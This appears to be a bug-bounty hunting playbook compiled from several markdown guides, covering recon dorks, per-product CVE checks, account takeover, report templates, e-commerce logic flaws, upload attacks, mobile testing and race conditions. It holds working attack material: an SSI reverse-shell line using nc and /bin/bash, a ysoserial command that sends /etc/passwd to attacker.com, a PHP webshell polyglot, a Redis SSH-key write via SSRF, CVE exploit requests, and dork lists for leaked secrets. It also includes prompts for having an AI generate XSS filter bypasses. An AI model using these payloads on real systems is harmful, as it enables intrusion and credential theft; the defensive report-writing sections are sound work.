<!--#echo var="DATE_LOCAL" -->

<!--#printenv -->

<!--#include file="includefile.html" -->

<!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

A reflected parameter (e.g. JSONP callback) gets downloaded as a file with an attacker-chosen extension (.bat/.svg/.html). Opening it runs attacker content — extends classic reflected attacks beyond the browser context.

• Find reflected input (JSONP callback, search param)
• Check Content-Disposition: no filename attribute → we control it
• No header? Use <a download href="..."> with a forced filename
• Path-based filename: /api;/evil.bat;?callback=||calc||

# Content-Disposition has no filename → semicolon path tricks the browser
Content-Disposition: attachment;

http://example.com/api;/evil.bat;?callback=||calc||

# No header at all → download attribute:
<a download href="https://example/api/?id=1&outputtype=json&callback=||calc||">Press Here</a>

Links opened with target="_blank" and no rel="noopener" let the new page grab window.opener and rewrite the origin tab to a phishing page while the victim is distracted.

• Scan HTML for <a target="_blank"> missing rel="noopener"
• Any window.open() without opner handling in JS
• Deliver exploit link → background tab redirects to evil.com

<a href="..." target="_blank" />

<html>
<script>
  if (window.opener) window.opener.parent.location.replace('http://evil.com');
  if (window.parent != window) window.parent.location.replace('http://evil.com');
</script>
</html>

A target links out to a domain/page that expired — register it and you inherit the trust, social accounts, or even session context tied to that origin.

• Manually audit external links (social media, docs, CDN, dead JS/CSS)
• Run broken-link-checker over the target site
• Check expiry of linked domains / GitHub / social accounts
• Register + point to phishing / payload page

npx broken-link-checker https://example.com --recursive --ordered

# Chrome: Check My Links extension for manual review

If a domain lacks SPF, or DMARC is missing or set to p=none, anyone can send mail that looks like it comes from the company — a staple low-hanging finding in many programs.

• No SPF TXT record → spoofable
• DMARC missing or policy tag is "none" → spoofable
• Weak SPF (e.g. ~all soft-fail, +all)
• Send test mail via a spoofing service to prove delivery

nslookup -type=TXT example.com
v=spf1 include:_spf.google.com ~all

nslookup -type=TXT _dmarc.example.com
v=DMARC1; p=none; rua=mailto:dmarc@yourdomain.com

The app binds any request parameter onto an object/entity. Add fields like admin=true to a normal request and the model absorbs them — most common in Ruby on Rails / NodeJS APIs.

• Normal request → note the JSON response fields (isAdmin, role, verified)
• Replay with each response field injected as a parameter
• Also try snake_case / camelCase variants of interesting fields

POST /editdata HTTP/1.1
Host: target.com
...

username=daffa&admin=true

HTTP/1.1 200 OK
...
{"status":"success","username":"admin","isAdmin":"true"}

Identity theft via OAuth misconfiguration, re-signup logic, CSRF on email-change, IDOR chaining and missing rate limits — ATO methods assembled into one playbook.

• Pre-ATO via OAuth: attacker FB with victim email → create account → change email to victim's → victim's signup says "email exists"
• Re-sign up with victim email but different password
• CSRF on change-email endpoint → victim's email swapped to attacker's
• IDOR chain: change userid in password-change request to victim ID
• No rate limit on 2FA → brute force to takeover

POST /newaccount HTTP/1.1
...
email=victim@mail.com&password=1234

POST /newaccount HTTP/1.1
...
email=victim@mail.com&password=hacked

<html>
<body>
  <form action="https://evil.com/user/change-email" method="POST">
    <input type="hidden" value="victim@gmail.com"/>
    <input type="submit" value="Submit Request">
  </form>
</body>
</html>

POST /changepassword.php HTTP/1.1
Host: site.com
...
userid=501&password=heked123

"What would you do if you found X?" — per-technology checks: detect → version → known CVE → default creds → misconfig endpoints.

• Version from Server header / 404 page → check CVEs
• CVE-2021-41773 RCE/LFI: /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh (echo;id)
• CVE-2021-42013: /cgi-bin/%%32%65%%32%65/.../bin/sh

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

echo;id

• Version from Server header → CVE check
• Directory traversal: /folder1../folder1/folder2/static/main.css
• Open redirect misconfig: /%5cevil.com, ///evil.com, //\@evil.com
• Exposed /nginx_status

• CVE-2021-40346 request smuggling: Content-Length0aaa...(large)

POST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaa...a:
Content-Length: 60
 
GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

• Version in /login source JSON ("version":"8.3.2") → CVE check
• CVE-2021-41174 Reflected XSS: /dashboard/snapshot/%7B%7Bconstructor.constructor('alert(1)')()%7D%7D
• CVE-2020-13379 DoS: /avatar/%7B%7Bprintf...%7D%7D
• CVE-2019-15043 unauth /api/snapshots API
• Default creds admin/admin + /signup enabled

• Version from X-Jenkins header → pwn_jenkins / CVE check
• CVE-2018-1000861 ACL bypass: /securityRealm/user/admin/search/index?q=a
• CVE-2019-1003030 checkScript sandbox RCE
• Default creds admin/admin
• Unauthenticated dashboard (no login form)

• Version in /secure/Dashboard.jspa source: <meta name="ajs-version-number" content="8.20.9">
• CVE-2017-9506 SSRF: /plugins/servlet/oauth/users/icon-uri?consumerUri=<SSRF>
• CVE-2019-8442: /s/thiscanbeanythingyouwant/_/META-INF/maven/.../pom.xml
• CVE-2019-8449: /rest/api/latest/groupuserpicker?query=1&maxResults=50000
• CVE-2019-11581 SSTI: /secure/ContactAdministrators!default.jspa
• CVE-2019-3396 path traversal: /rest/tinymce/1/macro/preview _template:../web.xml
• Signup enabled: POST /servicedesk/customer/user/signup

• Version via ajs-version-number on /login.action?os_destination=%2F
• CVE-2022-26134 RCE: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils...%7D/
• CVE-2021-26085 arbitrary file read: /s/test/_/;/WEB-INF/web.xml

• Version: /feed, /?feed=rss2; plugins: readme.txt/changelog.txt; theme: style.css
• Log file /wp-content/debug.log
• Backup wp-config: .swp .old .txt .bak .save .zip .inc .~ etc
• Users: /?author=1, /wp-json/wp/v2/users, /?rest_route=/wp/v2/users
• xmlrpc.php brute-force & XSPA (pingback.ping)
• Registration enabled: /wp-login.php?action=register

• Version: /administrator/manifests/files/joomla.xml; plugin XML manifests
• /configuration.php-dist, /libraries/joomla/database/ listing

• Detect via <meta name="keywords" content="moodle,">
• /mod/lti/auth.php?redirect_uri=javascript:alert(1) (XSS + open redirect)
• /filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd

• Version via /composer.json; CVE-2021-3129 RCE via _ignition/execute-solution
• CVE-2017-9841: /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• Exposed /.env, /storage/logs/laravel.log
• Debug mode: POST → 405, or param[]=0 → stack trace

• Config exposure: /application/configs/application.ini, /admin/configs/application.ini

Google / GitHub / Shodan dork batteries plus a scope-size-driven recon methodology. Substitute example.com / keyword with your target.

inurl:example.com intitle:"index of"
inurl:example.com intitle:"index of /" "*key.pem"
inurl:example.com ext:log
inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git
inurl:example.com intitle:"index of" "config.db"
inurl:example.com allintext:"API_SECRET*" ext:env | ext:yml
inurl:example.com intext:admin ext:sql inurl:admin
inurl:example.com allintext:username,password filetype:log
site:example.com "-----BEGIN RSA PRIVATE KEY-----"
site:pastebin.com "keyword"
site:trello.com "keyword"
site:bitbucket.org "keyword"
site:*atlassian.net "keyword"
inurl:github "keyword"

"password" "username" extension:json
"api_key" "api_secret"
"client_secret" "client_id"
"aws_access_key_id" "aws_secret_access_key"
"AKIA[0-9A-Z]{16}"
"xox[bp]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32}"   # Slack
"-----BEGIN RSA PRIVATE KEY-----"
"-----BEGIN OPENSSH PRIVATE KEY-----"
"-----BEGIN PGP PRIVATE KEY BLOCK-----"
"BEGIN DSA PRIVATE KEY"
".mlab.com password"
"rds.amazonaws.com password"
"https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}"
"secret_key" "secret_token" "private_key"
"jdbc:mysql://" password
extension:sql mysql dump password
filename:.env DB_USERNAME NOT homestead
filename:.env MAIL_HOST=smtp.gmail.com
filename:.git-credentials
filename:.bash_history
filename:id_rsa
filename:wp-config.php
filename:config.php dbpasswd
filename:secrets.yml password
filename:.htpasswd
filename:shadow path:etc
filename:.npmrc _auth
filename:settings.py SECRET_KEY
filename:.dockercfg auth
filename:prod.exs
filename:.netrc password
HEROKU_API_KEY language:shell
GITHUB_TOKEN
[WFClient] Password= extension:ica

city:"Bangalore"
country:"IN"
geo:"56.913055,118.250862"
hostname:example.com
hostname:example.com,example.org
net:210.214.0.0/16
org:microsoft
asn:ASxxxx
port:21 proftpd
apache after:22/02/2009 before:14/3/2010
ssl.cert.expired:true ssl.cert.subject.cn:example.com
ssl.cert.issuer.cn:example.com ssl.cert.subject.cn:example.com
product:MySQL
product:MongoDB
port:9200 json
product:Redis
port:5432 PostgreSQL
product:CouchDB
"port:8087 Riak"
product:Cassandra
"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"
"Docker Containers:" port:2375
"Docker-Distribution-Api-Version: registry" "200 OK" -gitlab
"authentication disabled" port:5900,5901
"root@" port:23 -login -password -name -Session
port:5555 "Android Debug Bridge" "Device"
"Authentication: disabled" port:445
"220" "230 Login successful." port:21
title:"Weave Scope" http.favicon.hash:567176827
http.title:"Index of /" http.html:".pem"
http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2
http.html:"* The wp-config.php creation script uses this file"
title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944
"port:502"   # Modbus ICS
"port:102"   # Siemens S7 ICS
"Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995

• Small scope (specific URLs): dir enum · tech fingerprint · port scan · param fuzz · wayback history · known vulns · hardcoded JS secrets · domain-specific GitHub/Google dorks · broken link hijacking · data breach analysis · misconfigured cloud storage
• Medium scope (wildcard): everything above + subdomain enum · subdomain takeover · probing · nuclei templates · GitHub recon · Shodan/Censys/Spyse · IP range enum · GF pattern extraction → XSS/SSRF automation · Heartbleed scan · general misconfig scan
• Large scope (whole org incl. child companies): track every signature · subsidiary/acquisition enum · reverse lookup · ASN & IP space enum · every possible recon vector (network + web)

LLM-assisted workflows. Use AI for scope analysis, code review, deobfuscation, payload generation and report drafting — but always manually verify AI findings before reporting and never feed sensitive data to third-party systems.

• AI scope analysis: feed program docs → identify high-value assets & ambiguities
• AI subdomain permutation generation from existing naming patterns
• AI tech-stack → likely misconfigurations & vulns mapping
• AI JS code review: XSS, prototype pollution, insecure API usage
• AI deobfuscation of packed/obfuscated JS
• AI dependency audit: npm audit output → exploitability analysis
• AI context-aware payload generation (XSS filters, SQLi errors, polyglots)
• AI response analysis: batch-analyze responses for info disclosure
• AI IDOR detection: compare two users' responses to the same endpoint
• AI report drafting: description, impact, steps-to-reproduce, fix

# Scope analysis
"Analyze this bug bounty scope document and identify the highest value
 assets, excluded areas, and any potentially ambiguous areas to clarify
 with the program."

# Subdomain pattern mining
"I've found these subdomains for target.com: [list]. What naming patterns
 do you see, and what other potential subdomains might exist?"

# Tech stack → vulns
"Based on this technology stack [list], what are the most common
 vulnerabilities and misconfigurations I should look for?"

# JS review
"Analyze this JavaScript code for potential security vulnerabilities.
 Focus on XSS, prototype pollution, and insecure API usage."

# Payload generation (filtered context)
"I'm testing for XSS in a parameter reflected inside a JavaScript string
 context. The app filters alert(), document.cookie, and <script> tags.
 Generate 5 potential bypass payloads."

# IDOR detection
"Here are two API responses from the same endpoint with different user
 tokens. Identify potential IDOR vulnerabilities or access control issues."

httpx -u https://target.com -tech-detect -json | jq .tech > tech_stack.json

python3 -c "
import json, openai, sys
tech = json.load(open('tech_stack.json'))
response = openai.ChatCompletion.create(
    model='gpt-4',
    messages=[{'role': 'user', 'content':
        f'This is the detected technology stack: {tech}. What are common
         security misconfigurations and vulnerabilities I should check for?'}])
print(response.choices[0].message.content)
"

Forward-looking techniques from 2025_Bug_Bounty_Techniques.md: cloud-native & serverless attacks, supply-chain, CI/CD pipeline compromise, container escape, Web3/blockchain and zero-day mining. Apply where the target's stack includes these systems.

• K8s RBAC mapping & privilege escalation paths (kubehound)
• Service-account token abuse → access cloud resources outside the cluster
• Sidecar / service-mesh proxy misconfigs & insecure policy enforcement
• Serverless event-source injection & trigger manipulation
• Serverless cold-start timing → information leakage
• Shared execution env leakage: /tmp, memory between invocations

• Dependency typosquatting detection (chainbreaker)
• Dependency behavior analysis across versions (network calls, file access)
• GitHub Actions workflow injection via PR title / issue title
• Self-hosted runner isolation & persistence opportunities
• Build cache poisoning & dependency substitution in builds
• Pipeline credential theft / secret leakage in build logs

• Dangerous Linux capabilities (capmap --scan --dangerous-only)
• Namespace escape: user / PID / mount namespace breakout
• seccomp filter bypass / missing syscall filters
• Container base-image & multi-stage build vulns, leaked creds in layers
• Smart-contract reentrancy (withdraw-before-balance pattern)
• MEV: front-running, sandwich attack, flash-loan modelling
• Cross-chain bridge validation & trust assumptions

• AI pattern mining: deserializer / parser patterns (patternscan)
• Diff-based regression detection on open-source security fixes
• Protocol fuzzing & protocol downgrade attacks
• GraphQL recursive query DoS (deep nesting)
• GraphQL field-suggestion harvesting & directive abuse
• Event-driven API race conditions (async operations)
• Living-off-the-land: low-and-slow distributed scanning (ghostwire)

kubehound scan --cluster-context prod --output rbac-map.json
kubehound analyze --input rbac-map.json --attack-path

query MaliciousQuery {
  user(id: 1) { friends { friends { friends { friends { friends { } } } } } }
}

Proven exploit chains + real HackerOne reports from Advanced_Vulnerability_Playbook.md. Each section: detection → real-world example → remediation. Bookmark the H1 reports as reference cases.

• SSRF → internal Redis → write SSH key → RCE (authorized_keys)
• SSRF → cloud metadata: 169.254.169.254 / metadata.google.internal
• JWT alg 'none' / RS256→HS256 / RSA key confusion (jwt_tool -X k)
• PHP object injection via unserialize() cookie
• Java deserialization (ysoserial CommonsCollections)
• XXE via SVG upload (SVG is XML!)
• GraphQL introspection → excessive data exposure / IDOR
• OAuth redirect_uri open redirect → auth-code theft
• Mass assignment: inject role / admin / verified in POST body
• Cookie-based JSON API CSRF (relies on cookies + no token)

# 1. Discover internal Redis
https://target.com/fetch-image?url=http://localhost:6379/

# 2. Write SSH public key via Redis
https://target.com/fetch-image?url=redis://localhost:6379/
      CONFIG SET dir /home/user/.ssh/
      CONFIG SET dbfilename authorized_keys
      SET payload "\n\nssh-rsa AAAA...your-ssh-key...xyz user@attacker\n\n"
      SAVE

# Extract target's public key, then sign a forged token
python3 jwt_tool.py <token> -X k -pk public.pem

java -jar ysoserial.jar CommonsCollections5 \
  'curl -d "$(cat /etc/passwd)" https://attacker.com' | base64

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Curated catalog from tools_list.md + Advanced_Bug_Hunting_Resources.md — grouped by stage. Installers below cover the Project Discovery + tomnomnom essentials.

• Subdomain: subfinder · amass · findomain · assetfinder · puredns · github-subdomains
• DNS: dnsx · massdns · dnsgen · altdns · dnsrecon
• Port scan: naabu · nmap · masscan · rustscan · smap
• Crawl: katana · gospider · hakrawler · waybackurls · gau · feroxbuster
• Visual: aquatone · gowitness · webscreenshot · eyewitness
• Content: ffuf · dirsearch · gobuster · wfuzz
• Params: arjun · x8 · paramspider · parameth
• JS: linkfinder · secretfinder · xnLinkFinder · subjs · jsscanner
• Git secrets: gitleaks · truffleHog · gitdorker · gitGraber · GitTools · gitrob

• General: nuclei · jaeles · nikto · wapiti · osmedeus · cariddi
• CMS: wpscan · droopescan · cmsseek · joomscan · aem-hacker
• API: kiterunner · astra · apifuzzer · inql · graphqlmap
• XSS: dalfox · xsstrike · kxss · gxss · xss-loader
• SQLi: sqlmap · nosqlmap · jeeves · sqlmate · dsss
• SSRF: ssrfmap · gopherus · interactsh · autossrf · ssrfire
• SSTI: tplmap · sstimap · injecto
• Other: dontgo403 · corsy · lfisuite · ppfuzz · jwt_tool
• Exploitation: teh_s3_bucketeers · lazys3 · subover · tko-subs · githacker

• AWS: s3scanner · pacu · cloudsploit · scoutsuite
• GCP/Azure: gcpbucketbrute · blobhunter · azurehound · cartography
• Mobile: mobsf · frida · objection · apkleaks · drozer · iLEAPP
• IaC/CI: checkov · tfsec · kics · semgrep · gitleaks

go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
go install -v github.com/projectdiscovery/notify/cmd/notify@latest
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

go install -v github.com/tomnomnom/anew@latest
go install -v github.com/tomnomnom/gf@latest
go install -v github.com/tomnomnom/waybackurls@latest
go install -v github.com/tomnomnom/httprobe@latest
go install -v github.com/tomnomnom/unfurl@latest
go install -v github.com/lc/gau/v2/cmd/gau@latest
go install -v github.com/ffuf/ffuf@latest

• Books: Real-World Bug Hunting · WAHH · Bug Bounty Bootcamp
• Practice: PortSwigger Academy · HackTheBox · TryHackMe · PentesterLab · Juice Shop
• Platforms: HackerOne · Bugcrowd · Intigriti · YesWeHack
• Writeups: H1 Hacktivity · Pentester.land · InfoSec Writeups · Awesome CVE PoC
• Wordlists: SecLists · Assetnote · PayloadsAllTheThings · FuzzDB · leaky-paths
• Tools installer: nahamsec/bbht · m4ll0k/BugBountyTools · lazyrecon

A proven report-writing flow. A clean, structured, reproducible report is half the payout: triagers must be able to reproduce your finding without guessing. Pick the right template for the job, back every claim with evidence, and never overstate severity.

• Blank.md — full template with per-section guidance; default for complex vulnerabilities & learning
• HeadersOnly.md — headers only, no guidance; for experienced researchers who want fast scaffolding
• short.md — what / where / who / why / how + PoC + fix; for simple or low-severity, time-sensitive reports
• Example.md — a complete reference report (stored XSS) to benchmark your own quality against
• SSRF.md — specialized template when the finding is SSRF (p72)
• API.md — specialized template for API vulns: BOLA/IDOR, auth, rate limiting (p71)

• Screenshots — clear, annotated, sequential naming (step1.png, step2.png)
• Full HTTP request/response pairs from Burp / proxy
• Timestamps of discovery and testing
• Complete list of affected endpoints
• Exact payload used to trigger the issue
• Impact demonstration — concrete proof of attacker gain
• Environment details (browser, OS, tools)
• Optional video PoC for complex multi-step chains

• Vague descriptions — always include exact location and payload
• Missing reproduction steps — triagers must reproduce your finding
• No impact explanation — state what an attacker can actually do
• Not checking for duplicates before submitting
• Self-XSS, logout CSRF, or missing-headers-only as standalone findings
• Rate limiting on non-sensitive endpoints (auth / password reset / OTP only)
• Theoretical attacks — prove exploitation, don't theorize
• Demanding bounties or threatening disclosure

# Title
## Issue Description
A generic overview of the issue (OWASP default text) + the specific
instance identified inside the application.

## Affected URL/Area
- The affected URLs or area of the application.

## Risk Rating
- Risk: **Critical / High / Medium / Low / Informational**
- Difficulty to Exploit: **Low / Medium / High**
- Authentication Required: **Yes / No**
- User Interaction Required: **Yes / No**
- CVSS 3.1 Score: [X.X]

### Impact
- What kind of attacker could exploit this? (external, auth'd user, admin)
- What access/privileges do they need?
- What can they achieve? (data theft, privesc, service disruption)
- Who else does it affect?

### Attack Scenario
Describe a realistic scenario showing real-world exploitation.

## Steps to Reproduce/PoC
1. Step one...
2. Step two...
3. Step three...

### Request
POST /endpoint HTTP/1.1
Host: target.com
Content-Type: application/json

{"example": "payload"}

### Response
HTTP/1.1 200 OK
Content-Type: application/json

{"result": "response showing vulnerability"}

### Screenshots
- screenshot1.png - Description of what it shows

## Affected Demographic/User Base
- Who is affected? Everyone or a select set of users?
- How can it occur in normal usage? Scale of impact?

## Recommended Fix
- How to fix the issue + any quick mitigations while a full fix ships.

## References
- [1] [Reference](https://example.com)

## Issue Description
- What did you find?
- Who does it affect?
- Where did you find it?
- Why is it an issue?
- How can it be exploited?

## Affected Hosts
- blah

## Proof of Concept
How to reproduce this issue

## Recommendation
How do we fix this issue?

API.md — specialized report structure for API vulnerabilities. API bugs are about broken objects, broken function-level auth and abuse of the endpoint surface, so the report must document endpoint, auth context, enumeration scale and the data exposed.

• BOLA/IDOR — Broken Object Level Authorization (access others' resources by ID)
• Broken Authentication — auth mechanism bypass, token theft
• Broken Function Level Authorization — admin functions as regular user
• Mass Assignment — unexpected property modification
• Excessive Data Exposure — API returns too much data
• Unrestricted Resource Consumption — missing/bypassable rate limits
• Injection — SQL / NoSQL / command injection via API

• Auth type: Bearer Token / API Key / Session Cookie / OAuth / None
• User role tested: Regular User / Admin / Unauthenticated
• Token/key location: Header / Query Parameter / Body
• Affected endpoint(s) listed: method + path (+ params)

• Sequential integers (easy to enumerate)
• UUIDs (harder, but may be leaked elsewhere)
• Encoded values (Base64, etc.)
• Predictable patterns

@app.route('/users/<user_id>/profile')
@require_auth
def get_profile(user_id):
    current_user = get_current_user()

    # Authorization check - user can only access own profile
    if str(current_user.id) != user_id:
        if not current_user.is_admin:
            return error(403, "Access denied")

    return get_user_profile(user_id)

• Implement proper authorization checks on all endpoints
• Verify user owns / has access to requested resource
• Rate limit to prevent mass enumeration
• Log & alert on suspicious access patterns

SSRF.md — SSRF reports must show exactly what you reached: cloud metadata, internal services, local files. Document SSRF type, supported protocols, bypass techniques used, and the impact classification that justifies severity.

• Basic SSRF — full response returned to attacker
• Blind SSRF — no response, but request is made (use a callback: collaborator / interactsh)
• Partial SSRF — limited response (status code, headers only)

• http:// / https://
• file:// (local file read)
• gopher:// (SMTP, Redis, internal service interaction)
• dict://
• ftp://

• IP encoding (decimal, hex, octal)
• DNS rebinding
• URL parsing inconsistencies
• Protocol smuggling
• Redirect-based bypass
• IPv6 addressing

# Decimal IP for 127.0.0.1
http://2130706433/

# IPv6 localhost
http://[::1]/

# DNS rebinding
http://your-rebind-domain.com/

# Ranges a hardened resolver should block:
127.0.0.0/8        # Loopback
10.0.0.0/8         # Private Class A
172.16.0.0/12      # Private Class B
192.168.0.0/16     # Private Class C
169.254.0.0/16     # Link-local (includes metadata)
::1/128            # IPv6 loopback
fc00::/7           # IPv6 private

• Immediate: allowlist permitted domains/IPs
• Block private ranges (10/8, 172.16/12, 192.168/16, 127/8)
• Block cloud metadata IP (169.254.169.254)
• Disable unnecessary schemes (file://, gopher://, dict://)
• Long-term: dedicated proxy for external requests + network segmentation
• Use IMDSv2 (session-token protected metadata) on AWS

Example.md — a complete, high-quality reference report: stored XSS via image-upload MIME-type confusion. Study the structure, severity justification and remediation depth; benchmark your own reports against this standard.

• Issue Description — OWASP-standard definition of the bug class
• Issue Identified — the specific instance: profile-picture upload accepting text/html
• Risk Breakdown — High + severity justification (vector, complexity, scope change)
• Affected URLs — every endpoint involved
• Steps to Reproduce — numbered, tied to annotated screenshots (step1/step2/step3)
• Full request/response pair showing the modified Content-Type
• Affected Demographic — who is at risk (all profile viewers, forum readers)
• Recommendation — root-cause fix + specific remediation steps
• Timeline — discovery → submission → vendor ack → fix → disclosure
• References — OWASP, CWE-79, CVSS calculator links

• Network Attack Vector — exploitable remotely over the internet
• Low Complexity — no special conditions beyond normal app usage
• Changed Scope — XSS executes in victim's browser context
• High Confidentiality / Integrity — session hijacking, account takeover

POST /file/upload/ HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=--900627130554

------------------------------900627130554
Content-Disposition: form-data; name="stored_XSS.jpg"; filename="stored_XSS.jpg"
Content-Type: text/html

<script>alert('document.domain')</script>
------------------------------900627130554--

• Validate Content-Type header matches expected file types
• Verify file magic bytes match the claimed type
• Store with proper Content-Type / Content-Disposition headers
• Implement Content Security Policy (CSP)
• Sanitize filenames, restrict extensions, never render user HTML

Money-flows are where e-commerce pays out big. Logic flaws in price, payment, wallet, coupon, refund, loyalty, order and seller flows are high-impact and often bypass scanners completely. Always recompute every money decision server-side in your head and ask: what does the server trust that it should not?

• Negative price / quantity / discount values
• Massive values → integer overflow, truncation, rounding
• Cart total tampered between cart page and payment page
• Price sent client-side and trusted (hidden field / JSON)
• Free-shipping threshold bypass by splitting / manipulating cart
• Currency / region switch causing price confusion
• Discount stacking beyond intended caps
• Repeated / replayed discount application

• Coupon reuse on unlimited orders / same order race
• Coupon applicable to excluded / already-discounted items
• Wallet/cashback credited without qualifying purchase
• Refund more than paid / refund into different wallet/account
• Negative top-up or balance manipulation on wallet API
• Loyalty points earned, spent, or transferred without limits
• Referral bonus self-referral / circular referral farming
• Gift card balance probing or duplicate redemption

• Skip payment step / partially pay then receive full order
• Place order with tampered address/phone → hijack delivery
• Manipulate order items, qty or price AFTER placement
• Order status/user id tampering (see another customer's order)
• Seller/vendor panel: payout amount, commission, settlement tampering
• Seller can see/modify other sellers' products or payments (BFLA)
• Bypass OTP/verification gates on checkout, refund or seller onboarding
• Subscription / EMI / COD flows with manipulated totals

E-commerce runs on APIs — mobile app and internal APIs are often less hardened than the main web app. Hunt BOLA/IDOR, mass assignment, parameter pollution, undocumented endpoints and auth-bypass on every API tier, then chain them for account takeover or financial impact.

# 1. proxy the mobile app through Burp, capture all hostnames + paths
# 2. dump endpoints, then fuzz deeper with wordlists
ffuf -u https://api.target.com/FUZZ -w /root/wordlists/api-endpoints.txt -mc all -fc 404 -t 100

# 3. discover undocumented /v1 /v2 /internal /admin paths
ffuf -u https://api.target.com/FUZZ -w /root/wordlists/dirs.txt -mc 200,201,202,301,403 -t 100

# 4. grep captured traffic for hidden id / token / internal namespaces
echo "target.com" | waybackurls | grep -iE "(admin|internal|graphql|v[0-9]+/|invoice|wallet|coupon|payout)" | sort -u

• BOLA/IDOR: swap object ids across users, orders, invoices, wallets
• BFLA: call seller/admin functions with customer token
• Mass assignment: add is_admin, seller=true, verified, price to payloads
• Parameter pollution: duplicate price/amount/user_id params
• HTTP method confusion: PUT/PATCH/DELETE on read-only resources
• Old API versions still live (/v1/, /v2/) with weaker auth
• GraphQL: introspection, field suggestions, batching, aliases, IDOR via mutations
• Missing rate limits on OTP, login, coupon, referral, checkout APIs
• JWT flaws: none alg, weak secret, missing exp, role escalation
• API keys / secrets shipped in mobile app binaries or JS bundles
• Cloud storage backing APIs (S3/GCS buckets with upload/list access)
• WebSocket / realtime endpoints without authorization checks

Supplier, vendor and catalog panels accept images, docs, CSVs and ZIPs — classic upload→stored-XSS / RCE territory. Test every stage: extension, MIME, content, filename, storage location, and post-processing (parsing, resizing, extraction).

# extension + MIME bypass combos
shell.php / shell.php5 / shell.phtml / shell.phar / shell.pht
shell.php.jpg / shell.jpg.php / shell.php%00.jpg / shell.php.
Content-Type: image/png   (while body is PHP)

# polyglot: real image bytes + PHP at end
printf '\x89PNG\r\n\x1a\n<?php echo shell_exec($_GET[cmd]); ?>' > poly.png.php

# .htaccess that enables PHP execution
AddType application/x-httpd-php .jpg
AddHandler php5-script .jpg

# SVG stored XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg>

# zip-slip: path traversal inside zip to overwrite files
../../../../tmp/evil.sh

• Extension blacklist/whitelist bypass (case, double, trailing dot/space, unicode)
• MIME + magic-byte mismatch (file command / content sniffing)
• Null byte / truncation: shell.php%00.jpg
• .htaccess / web.config override
• SVG with embedded script / XXE
• ZIP extraction → zip-slip path traversal
• HTML/CSV/ODS/PDF with formula or script (CSV injection, stored XSS)
• Filename injection: path traversal, CRLF, quotes in stored name
• Upload → SSRF via image resize / fetch-from-URL feature
• ImageMagick / parser CVEs (ImageTragick, exif, metadata)
• Oversized file / infinite file → disk or CPU DoS
• Uploaded file publicly downloadable from storage bucket / CDN?
• Scan-then-serve race (AV scans file, file swapped after scan)
• Is the file executed on the same origin / served inline?

Mobile apps leak the backend: hardcoded secrets, hidden endpoints, and weaker client-side controls. Decompile, bypass pinning, proxy everything, and mine the binary for API surface and credentials that web recon misses.

# decompile
jadx -d out/ app.apk
apktool d app.apk -o out/

# mine for secrets, endpoints, hardcoded creds
grep -rniE "(api[_-]?key|client[_-]?secret|bearer |password|aws_?access|secret[_-]?access|/admin|/internal)" out/ | grep -v node_modules | head -200

# strings on the binary
strings app.apk | grep -iE "(http|https|api\.|\.com/|token|secret|key)" | sort -u | head -200

# bypass SSL pinning with objection
objection --gadget com.target.app explore
android sslpinning disable

• SSL pinning bypass (Frida/objection) then proxy all traffic
• Decompile and mine secrets: AWS keys, OAuth secrets, Firebase, Stripe
• Find hidden/staging endpoints and internal API hosts in the binary
• Test backup enabled / debuggable flags (android:allowBackup, debuggable)
• Exported activities/services/receivers (intent redirection, arbitrary intents)
• Deep links: custom scheme → XSS, file read, token theft, arbitrary actions
• WebView: JS enabled, file:// access, addJavascriptInterface, origin leaks
• Local storage: SharedPreferences, SQLite, Realm, Keychain/Keystore misuse
• Biometric / PIN bypass by patching return values
• Repackaging/tampering checks bypassed (root/hook detection)
• Hardcoded certificates / trusting user-added CA in-app
• Same APIs from web reachable with mobile-specific weaker auth
• App-to-app scheme hijacking (same scheme registered by malicious app)

Parallel requests that each pass the "check" before the "use" — coupon reuse, double-spend, OTP bypass, one-time referral farming. Send bursts over the same connection so the server sees them simultaneously. Modern technique: the HTTP/2 single-packet attack.

# send 30 identical requests in one TCP burst (HTTP/2 single-packet attack)
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)

    for i in range(30):
        engine.queue(target.req, gate='race1')

    engine.openGate('race1')

def handleResponse(req, **kwargs):
    table.add(req)

• Coupon/discount applied multiple times in parallel
• One-time referral/signup bonus farmed with parallel requests
• Wallet/cashback credited twice (check balance then credit)
• OTP/2FA: verify same OTP in parallel to bypass single-use
• OTP generation race → multiple valid codes sent
• Check-then-use: free-trial → paid upgrade, subscription downgrade race
• Login/rate-limit bypass: parallel attempts past lockout threshold
• Inventory/quantity: decrement check raced → negative stock
